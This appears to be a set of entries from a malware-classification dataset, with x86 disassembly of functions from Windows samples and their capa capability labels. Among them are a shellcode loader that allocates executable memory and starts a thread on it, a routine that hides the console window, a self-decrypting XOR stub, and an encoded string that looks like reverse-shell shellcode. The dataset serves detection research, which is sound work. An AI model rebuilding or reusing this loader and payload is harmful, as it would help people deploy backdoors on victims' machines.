joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10069e60
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0xc
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [section..data]
mov esi, eax
add esp, 4
test esi, esi
jne 0x10069e8b
pop esi
pop ebp
add esp, 0xc
ret
lea ecx, [esi + 0xc]
mov dword [esi], ebp
mov dword [esi + 4], ecx
mov eax, dword [ebp + 0xc]
add eax, ecx
push ebx
mov ebx, dword [esp + 0x24]
mov dword [esi + 8], eax
push edi
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jbe 0x10069eda
mov eax, dword [ebp]
push ecx
call eax
mov eax, dword [edi]
push ebx
push dword [esp + 0x2c]
push dword [esi + 4]
call eax
mov eax, dword [esi + 8]
add eax, dword [ebp + 0xc]
push dword [esi + 4]
mov dword [esp + 0x28], eax
push eax
mov eax, dword [ebp + 8]
call eax
mov ebx, dword [ebp + 0x14]
add esp, 0x18
mov dword [esp + 0x28], ebx
jmp 0x10069ee2
mov eax, dword [esp + 0x24]
mov dword [esp + 0x14], eax
push dword [esi + 4]
mov eax, dword [ebp]
call eax
push dword [esi + 8]
mov eax, dword [ebp]
call eax
mov eax, dword [esp + 0x30]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x10069f56
mov ebp, dword [esp + 0x14]
mov ebx, eax
mov dword [esp + 0x18], eax
nop dword [eax]
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x13], al
lea eax, [esp + 0x13]
push 1
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x1f], al
lea eax, [esp + 0x1f]
push 1
push eax
push dword [esi + 8]
mov eax, dword [edi]
call eax
add esp, 0x18
sub ebx, 1
jne 0x10069f10
mov ebp, dword [esp + 0x20]
mov ebx, dword [esp + 0x18]
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jae 0x10069f85
nop dword [eax + eax]
mov eax, dword [edi]
push 1
push 0x1007b51d
push dword [esi + 4]
call eax
mov eax, dword [edi]
push 1
push 0x1007b51e
push dword [esi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [ebp + 0x10]
jb 0x10069f60
pop edi
pop ebx
mov eax, esi
pop esi
pop ebp
add esp, 0xc
ret
Function at 0x10069f90
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
push dword [esp + 0x24]
call fcn.1002dc30
mov edx, dword [ebp + 0xc]
mov ebx, eax
mov ecx, dword [ebp + 0x14]
mov dword [esp + 0x14], ebx
lea ecx, [ecx + edx*2]
add ecx, 0xc
push ecx
call dword [section..data]
mov esi, eax
add esp, 8
test esi, esi
je 0x1006a112
lea ecx, [esi + 0xc]
mov dword [esi], ebp
mov dword [esi + 4], ecx
mov eax, dword [ebp + 0xc]
add eax, ecx
mov dword [esi + 8], eax
push edi
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jbe 0x1006a012
mov eax, dword [ebp]
push ecx
call eax
mov eax, dword [esp + 0x28]
push ebx
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
mov eax, dword [esi + 8]
add eax, dword [ebp + 0xc]
push dword [esi + 4]
mov dword [esp + 0x38], eax
push eax
mov eax, dword [ebp + 8]
call eax
mov eax, dword [ebp + 0x14]
add esp, 0x18
mov dword [esp + 0x14], eax
push dword [esi + 4]
mov eax, dword [ebp]
call eax
push dword [esi + 8]
mov eax, dword [ebp]
call eax
mov eax, dword [esp + 0x1c]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x1006a086
mov ebp, dword [esp + 0x24]
mov ebx, eax
mov dword [esp + 0x18], eax
nop dword [eax]
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x13], al
lea eax, [esp + 0x13]
push 1
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x1f], al
lea eax, [esp + 0x1f]
push 1
push eax
push dword [esi + 8]
mov eax, dword [edi]
call eax
add esp, 0x18
sub ebx, 1
jne 0x1006a040
mov ebp, dword [esp + 0x20]
mov ebx, dword [esp + 0x18]
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jae 0x1006a0b5
nop dword [eax + eax]
mov eax, dword [edi]
push 1
push 0x1007b51d
push dword [esi + 4]
call eax
mov eax, dword [edi]
push 1
push 0x1007b51e
push dword [esi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [ebp + 0x10]
jb 0x1006a090
push dword [esp + 0x30]
call fcn.1002dc30
mov ecx, dword [esi]
push eax
push dword [esp + 0x34]
push dword [esi + 4]
mov eax, dword [ecx + 4]
call eax
mov edi, dword [esp + 0x44]
add esp, 0x10
mov ebx, dword [esi]
test edi, edi
jne 0x1006a0e0
mov edi, dword [ebx + 0xc]
add edi, dword [esi + 8]
push dword [esi + 4]
mov eax, dword [ebx + 8]
push edi
call eax
push dword [ebx + 0x14]
mov eax, dword [ebx + 4]
push edi
push dword [esi + 8]
call eax
push dword [esi + 8]
mov eax, dword [ebx + 8]
push edi
call eax
push esi
call dword [0x10086004]
add esp, 0x20
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
pop esi
pop ebp
mov eax, 0x1b
pop ebx
add esp, 0xc
ret
Function at 0x1006a1e0
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
lea eax, [esp + 4]
push 0xf0000040
push 0x18
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x1006a206
mov eax, 0x1b
add esp, 0xc
ret
lea eax, [esp + 8]
push eax
push 0
push 0
push 0x800c
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x1006a23e
push eax
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esp + 4], 0
mov eax, 2
add esp, 0xc
ret
push dword [esp + 0x18]
call fcn.1002dc30
add esp, 4
push 0
push eax
push dword [esp + 0x1c]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
lea eax, [esp + 4]
mov dword [esp + 4], 0
push eax
push 0
push 2
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp dword [esp], 0x20
jne 0x1006a295
push 0
lea eax, [esp + 4]
push eax
push dword [esp + 0x18]
push 2
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov eax, dword [esp + 8]
test eax, eax
je 0x1006a2a4
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov ecx, dword [esp + 4]
test ecx, ecx
je 0x1006a2b5
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
add esp, 0xc
ret
Function at 0x1006aef0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
mov edi, dword [esp + 0x14]
xor esi, esi
test edi, edi
je 0x1006af3b
mov cl, byte [ebx + esi]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [ebx + esi], cl
inc esi
cmp esi, edi
jb 0x1006af01
pop edi
pop esi
pop ebx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4016d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413a08
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.VirtualAlloc
push 0x41419c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x48], eax
push str.CreateThread
push 0x4141bc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x4c], eax
push str.WaitForSingleObject
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x54], eax
push 0x40
push 0x3000
mov ecx, dword [ebp + 8]
call fcn.00404400
push eax
push 0
call dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp + 8]
call fcn.00404400
push eax
mov ecx, dword [ebp + 8]
call fcn.00403e70
push eax
mov eax, dword [ebp - 0x44]
push eax
call fcn.00405b90
add esp, 0xc
push str.70_208_133_111_226_123_113_146_231_30_133_20_54_203_71_77_230_234_182_55_207_108_203_231_232_79_137_160_182_180_203_54_84_167_78_235_21_203_131_209_183_25_202_144_179_84_168_137_158_181_33_136_154_102_166_98_8_179_139_242_251_26_1_178_19_125_22_209_56_51_119_41_229_118_164_182_74_178_157_53_248_183_48_58_66_179_109_168_30_182_106_60_119_170_147_57_73_4_41_221_62_148_2_9_60_188_167_47_194_232_35_141_240_193_78_169_122_86
lea ecx, [ebp - 0x28]
call fcn.00402b40
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x40]
push edx
call fcn.00401290
add esp, 8
mov byte [ebp - 4], 1
push 0
push 0
push 0
mov eax, dword [ebp - 0x44]
push eax
push 0
push 0
call dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x50]
push ecx
call dword [ebp - 0x54]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.00402f10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00402f10
nop
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00404d95
mov esp, ebp
pop ebp
ret

Function at 0x401800
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
pop ebp
ret
Function at 0x401820
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413a54
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push str.ConsoleWindowClass
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x8c], eax
push 0
mov eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.00401800
push str._OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH_rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx_6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf_gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH_9W4kAEAACnEVFBoKYBrAP_VUFBQUEBQQFBo6g_f4P_Vl2oFaMCoACVoAgARXInmahBWV2iZpXRh_9WFwHQM_04Idexo8LWiVv_VaGNtZACJ41dXVzH2ahJZVuL9ZsdEJDwBAY1EJBDGAERUUFZWVkZWTlZWU1Zoecw_hv_VieBOVkb_MGgIhx1g_9W78LWiVmimlb2d_9U8BnwKgPvgdQW7RxNyb2oAU__V
lea ecx, [ebp - 0x70]
call fcn.00402b40
mov dword [ebp - 4], 0
push str.Axx8
lea ecx, [ebp - 0x40]
call fcn.00402b40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x70]
push edx
lea eax, [ebp - 0x58]
push eax
call fcn.00401510
add esp, 0xc
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x58]
push edx
lea eax, [ebp - 0x28]
push eax
call fcn.00401030
add esp, 0xc
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x88]
push edx
call fcn.004046b0
add esp, 8
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x90]
push eax
lea ecx, [ebp - 0x28]
call fcn.00402fe0
lea ecx, [ebp - 0x88]
call fcn.00402f10
nop
lea ecx, [ebp - 0x28]
push ecx
call fcn.004016d0
add esp, 4
mov dword [ebp - 0x94], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.00402f10
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x58]
call fcn.00402f10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.00402f10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x70]
call fcn.00402f10
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00404d95
mov esp, ebp
pop ebp
ret
Function at 0x4031d0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x270
jne 0x4031ef
mov ecx, dword [ebp - 8]
call fcn.00403ab0
nop
jmp 0x403203
mov ecx, dword [ebp - 8]
cmp dword [ecx], 0x4e0
jb 0x403203
mov ecx, dword [ebp - 8]
call fcn.00403910
nop
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + eax*4 + 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
add ecx, 1
mov edx, dword [ebp - 8]
mov dword [edx], ecx
mov eax, dword [ebp - 4]
shr eax, 0xb
mov ecx, dword [ebp - 8]
and eax, dword [ecx + 0x1384]
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
shl edx, 7
and edx, 0x9d2c5680
xor edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
shl eax, 0xf
and eax, 0xefc60000
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
shr ecx, 0x12
xor ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x403910
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], ecx
mov dword [ebp - 0x28], 0x26f
mov dword [ebp - 0x2c], 0xe3
mov dword [ebp - 8], 0
jmp 0x403939
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xe3
jae 0x4039a5
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4 + 0x9c4]
and eax, 0x80000000
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov ecx, dword [edx + ecx*4 + 0x9c8]
and ecx, 0x7fffffff
or eax, ecx
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
and edx, 1
je 0x40397d
mov dword [ebp - 0x14], 0x9908b0df
jmp 0x403984
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x10]
shr eax, 1
xor eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
xor eax, dword [edx + ecx*4 + 0xff8]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov dword [edx + ecx*4 + 4], eax
jmp 0x403930
mov dword [ebp - 0xc], 0xe3
jmp 0x4039b7
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x26f
jae 0x403a23
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4 + 0x9c4]
and eax, 0x80000000
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov ecx, dword [edx + ecx*4 + 0x9c8]
and ecx, 0x7fffffff
or eax, ecx
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
and edx, 1
je 0x4039fb
mov dword [ebp - 0x1c], 0x9908b0df
jmp 0x403a02
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x18]
shr eax, 1
xor eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
xor eax, dword [edx + ecx*4 - 0x388]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov dword [edx + ecx*4 + 4], eax
jmp 0x4039ae
mov dword [ebp - 0x30], 0x26f
mov eax, 4
imul ecx, eax, 0x4df
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx + 4]
and eax, 0x80000000
mov ecx, 4
imul edx, ecx, 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + edx + 4]
and edx, 0x7fffffff
or eax, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
and eax, 1
je 0x403a6c
mov dword [ebp - 0x24], 0x9908b0df
jmp 0x403a73
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x20]
shr ecx, 1
xor ecx, dword [ebp - 0x24]
mov edx, 4
imul eax, edx, 0x18c
mov edx, dword [ebp - 4]
xor ecx, dword [edx + eax + 4]
mov eax, 4
imul edx, eax, 0x26f
mov eax, dword [ebp - 4]
mov dword [eax + edx + 4], ecx
mov ecx, dword [ebp - 4]
mov dword [ecx], 0
mov esp, ebp
pop ebp
ret
Function at 0x403ab0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0x270
jmp 0x403acb
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x4e0
jae 0x403b37
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 - 0x9bc]
and eax, 0x80000000
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov ecx, dword [edx + ecx*4 - 0x9b8]
and ecx, 0x7fffffff
or eax, ecx
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
and edx, 1
je 0x403b0f
mov dword [ebp - 0x10], 0x9908b0df
jmp 0x403b16
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0xc]
shr eax, 1
xor eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
xor eax, dword [edx + ecx*4 - 0x388]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [edx + ecx*4 + 4], eax
jmp 0x403ac2
mov esp, ebp
pop ebp
ret

Function at 0x40587f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4058be
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4058be
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4058be
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4058be
cmp dword [ecx + 0x74], 0xe
jbe 0x4058be
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40d00f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40d0ac
push ebx
push esi
call fcn.0040cfd8
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040cf6c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40d059
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40d0ab
push edi
push eax
call fcn.0040ba58
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40d079
call fcn.0040bb4f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40d0aa
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040cf6c
add esp, 0x20
test eax, eax
jne 0x40d098
push edi
call fcn.0040bb4f
jmp 0x40d0a0
push ebx
call fcn.0040bb4f
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40d71a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x416e90
push 0x416e88
push str.FlsAlloc
push 0x1f
call fcn.0040d5d9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d74e
push dword [ebp + 8]
mov ecx, esi
call dword [0x414128]
call esi
jmp 0x40d754
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d798
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x416ea0
push 0x416e98
push str.FlsGetValue
push 0x21
call fcn.0040d5d9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d7cf
push dword [ebp + 8]
mov ecx, esi
call dword [0x414128]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40d7d7
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x416ea8
push 0x416ea0
push str.FlsSetValue
push 0x22
call fcn.0040d5d9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d811
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x414128]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10001d20
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019d78d
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x1026e004]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi], vtable.INeuron2.0
mov dword [ebp - 4], 0
mov dword [edi], vtable.IXbSystem.0
mov dword [ebp - 4], 1
lea esi, [edi + 8]
mov dword [edi], vtable.XXbSystem.0
mov dword [edi + 4], 0
push 0
mov dword [ebp - 0x14], esi
push 0
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.10006500
mov dword [esi], eax
mov byte [ebp - 4], 4
lea eax, [edi + 0x10]
mov dword [ebp - 0x14], eax
mov dword [eax], 0
mov dword [eax + 4], 0
mov byte [ebp - 4], 5
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov byte [ebp - 4], 6
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
mov byte [ebp - 4], 7
mov dword [eax + 0x18], 0
mov dword [eax + 0x1c], 0
mov byte [ebp - 4], 9
lea eax, [edi + 0x30]
mov dword [ebp - 0x14], eax
mov dword [eax], 0
mov dword [eax + 4], 0
mov byte [ebp - 4], 0xa
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov byte [ebp - 4], 0xb
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
mov byte [ebp - 4], 0xc
mov dword [eax + 0x18], 0
mov dword [eax + 0x1c], 0
mov byte [ebp - 4], 0xe
mov dword [edi + 0x50], 0
mov dword [edi + 0x54], 0
mov byte [ebp - 4], 0xf
mov dword [edi + 0x58], 0
mov dword [edi + 0x5c], 0
mov dword [edi + 0x60], 0
mov byte [ebp - 4], 0x10
mov dword [edi + 0x64], 0
mov dword [edi + 0x68], 0
mov byte [ebp - 4], 0x11
mov dword [edi + 0x6c], 0
mov dword [edi + 0x70], 0
mov byte [ebp - 4], 0x12
mov dword [edi + 0x74], 0
mov dword [edi + 0x78], 0
mov dword [edi + 0x7c], 0
mov dword [edi + 0x88], 0
mov dword [edi + 0x90], 0
mov dword [edi + 0x9c], 0
mov byte [ebp - 4], 0x13
cmp dword [0x1026eadc], 0
mov dword [edi + 0xa0], 0
mov dword [edi + 0xa4], 0
mov dword [edi + 0xa8], 0
mov dword [edi + 0xac], 0
mov dword [edi + 0xb0], 0
mov dword [edi + 0xb4], 0
mov dword [edi + 0xb8], 0
jne 0x10001f2c
mov dword [0x1026eadc], fcn.10001d00
mov dword [0x1026eae0], 0x10001d00
mov dword [0x1026eae4], 0x10001d00
mov dword [0x1026eae8], 0x10001d10
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10003200
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x1026e004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push 1
push 1
lea ebx, [esi + 0xa4]
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, 1
je 0x10003385
push edi
mov ecx, esi
call fcn.10002690
mov edi, eax
mov edx, 0x4a04
mov eax, dword [esi + 0x6c]
mov ecx, 0x4a4d
mov dword [ebp - 0x40], 0x4a24
mov dword [ebp - 0x44], eax
mov eax, 0x4a5c
mov word [ebp - 0x3c], ax
mov eax, 0x4a17
mov word [ebp - 0x3a], ax
mov eax, 0x4a46
mov word [ebp - 0x38], ax
mov eax, 0x4a1e
mov word [ebp - 0x36], ax
mov word [ebp - 0x34], ax
mov eax, 0x4a4a
mov word [ebp - 0x32], dx
mov word [ebp - 0x30], cx
mov word [ebp - 0x2e], ax
mov eax, 0x4a50
mov word [ebp - 0x2c], cx
mov ecx, 0x4a04
mov word [ebp - 0x2a], ax
mov eax, 0x4a14
mov word [ebp - 0x28], dx
mov edx, 0x4a01
mov word [ebp - 0x26], dx
mov word [ebp - 0x24], ax
mov eax, 0x4a1c
mov word [ebp - 0x22], ax
mov eax, 0x4a7c
mov word [ebp - 0x20], ax
mov eax, 0x4a54
mov word [ebp - 0x1e], cx
mov word [ebp - 0x1c], dx
mov word [ebp - 0x1a], ax
mov eax, 0x4a57
mov word [ebp - 0x18], cx
mov ecx, 0x4a4c
mov word [ebp - 0x16], dx
mov edx, 0x4a04
mov word [ebp - 0x14], cx
mov word [ebp - 0x12], ax
mov word [ebp - 0x10], dx
mov edx, 0x4a01
mov word [ebp - 0xe], dx
mov word [ebp - 0xc], cx
mov word [ebp - 0xa], ax
xor eax, eax
mov word [ebp - 8], ax
mov ax, word [ebp - 0x3c]
xor eax, eax
nop word [eax + eax]
mov cx, word [ebp + eax*2 - 0x3c]
movzx edx, cx
movzx ecx, word [ebp - 0x40]
xor edx, ecx
mov word [ebp + eax*2 - 0x3c], dx
inc eax
cmp eax, 0x1a
jb 0x10003320
mov ecx, dword [ebp - 0x44]
lea edx, [ebp - 0x3c]
push str.14:04:35
push str.Feb_16_2023
push dword [esi + 0x78]
xor eax, eax
mov word [ebp - 8], ax
mov eax, dword [ecx]
push edi
push edx
push ecx
call dword [eax + 0x10]
add esp, 0x18
test edi, edi
jns 0x10003376
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e04a9
